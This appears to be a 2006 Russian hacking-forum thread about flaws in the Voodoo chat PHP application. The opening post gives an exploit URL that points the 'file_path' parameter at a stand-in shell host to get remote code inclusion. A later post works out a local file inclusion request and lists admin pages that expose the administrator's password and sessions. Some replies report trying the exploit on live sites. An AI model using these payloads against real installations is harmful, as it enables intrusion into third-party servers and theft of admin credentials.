PHP-инклюдинг в Voodoo chat |
02.08.2006, 03:45
|
|
Banned
Регистрация: 13.12.2005
Сообщений: 1,091
С нами:
10741286
Репутация:
1847
|
|
PHP-инклюдинг в Voodoo chat
Программа: Voodoo chat 1.0RC1b и предыдущих
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "file_path" в сценарии index.php.
Пример:
http://sitename.com/[ScriptPath]/index.php?file_path=http://SHELLURL.COM?
|
|
|
02.08.2006, 08:04
|
|
Участник форума
Регистрация: 23.10.2005
Сообщений: 276
С нами:
10814786
Репутация:
113
|
|
Мдаа... Жаль что в новых версиях не пашет
|
|
|
|
02.08.2006, 12:27
|
|
ветеран
Регистрация: 22.06.2004
Сообщений: 2,128
С нами:
11517446
Репутация:
2258
|
|
гг я тож увидел.Думал дожили...Ппробовал на одном, неспахало
__________________
Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze
|
|
|
|
02.08.2006, 13:49
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
С нами:
10692266
Репутация:
3486
|
|
В одном получилось) Молодец кловер.
|
|
|
|
03.08.2006, 01:04
|
|
IQ- 137%
Регистрация: 15.06.2004
Сообщений: 441
С нами:
11527586
Репутация:
662
|
|
if (!in_array($user_lang, $allowed_langs)) $user_lang = $language;
else include_once($file_path.\"languages/\".$language.\".php\");
и где тут инклуд?  Чет не совсем понял
__________________
|
|
|
|
03.08.2006, 02:22
|
|
Banned
Регистрация: 12.06.2005
Сообщений: 278
С нами:
11005958
Репутация:
-1
|
|
чето я таких версий чата найти не могу!
|
|
|
|
03.08.2006, 02:31
|
|
Флудер
Регистрация: 18.01.2005
Сообщений: 2,298
С нами:
11215046
Репутация:
1844
|
|
форевер777, а зачем тебе их искать? Вред, незнакомому тебе, чату хочешь причинить? Не надо быть злоумышленником :-)
|
|
|
|
03.08.2006, 12:53
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
С нами:
10692266
Репутация:
3486
|
|
Динар, без флейма. Сам ведь модер, понимать должен.
Последний раз редактировалось [sL1p]; 03.08.2006 в 13:36..
|
|
|
|
03.08.2006, 20:04
|
|
Участник форума
Регистрация: 31.08.2003
Сообщений: 177
С нами:
11943746
Репутация:
22
|
|
Начица раздупляю ситуасьён. Не знаю как там в предыдущих версиях (мож кто поделится сорцами?) но на данный момент мы имеем следующее:
---------------------------- файл <host>/chat/index.php
<?php
require_once("inc_common.php");
---------------------------- <host>/chat/inc_common.php
if (!($conf_content = implode("",file($data_path."voc.conf")))) {
trigger_error("1000\tCannot open voc.conf file, please check your DATA PATH parameter",E_USER_ERROR);
}
eval($conf_content);
---------------------------- и наконец в <host>/data/voc.conf имеем
$file_path = "<host>/chat/";
----------------------------
такие пироги. пороюсь еще по остальным пхп завтра.
|
|
|
|
04.08.2006, 13:10
|
|
Участник форума
Регистрация: 31.08.2003
Сообщений: 177
С нами:
11943746
Репутация:
22
|
|
Итак, прадолжим. Бегло просотрел пхп-хи в <host>/chat/ - подкопаться сложно. Вощем надоело и я решил пойти другим путем. И таки имеем локальный инклуд (в текущей самой новой версии) .
Уязвимость находится в файле <host>/chat/welcome.php :
Код:
require_once("inc_common.php");
////////////// скип ////////////////
set_variable("user_lang");
set_variable("c_ulang");
if ($c_ulang != "" && $user_lang == "") $user_lang = $c_ulang;
if (!in_array($user_lang, $allowed_langs)) $user_lang = $language;
else include_once($file_path."languages/".$user_lang.".php");
////////////// скип ////////////////
Тогда локальный инклуд будет иметь следующий вид:
<host>/chat/welcome.php?allowed_langs[0]=&allowed_langs[1]=&allowed_langs[2]= ../welcome&user_lang= ../welcome
Инклудим саму себя - чисто для примера.
Ну и register_globals = on разумеется чтобы заработало.
%00 - ессесно не катит потому что в inc_common.php в функции set_variable() присутсвует $$variable_name = str_replace("\0","", $$variable_name);
Поэтому думаю больше тут сделать ничего низя.
Ну и в заключение пару небольших фич:
- получить список всех зарегеных юзеров <host>/chat/photos/renamer.php
- позырить пароль админа здесь: <host>/chat/admin/admin_users.php
- сессию админа здесь : <host>/chat/admin/sessions.php
На этом у меня все.
Последний раз редактировалось Rabid Rabbit; 04.08.2006 в 16:01..
|
|
|
|
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Books
|
PSalm69 |
Избранное |
273 |
13.02.2016 01:24 |
|
Books PHP
|
FRAGNATIC |
PHP |
186 |
21.02.2010 02:41 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид
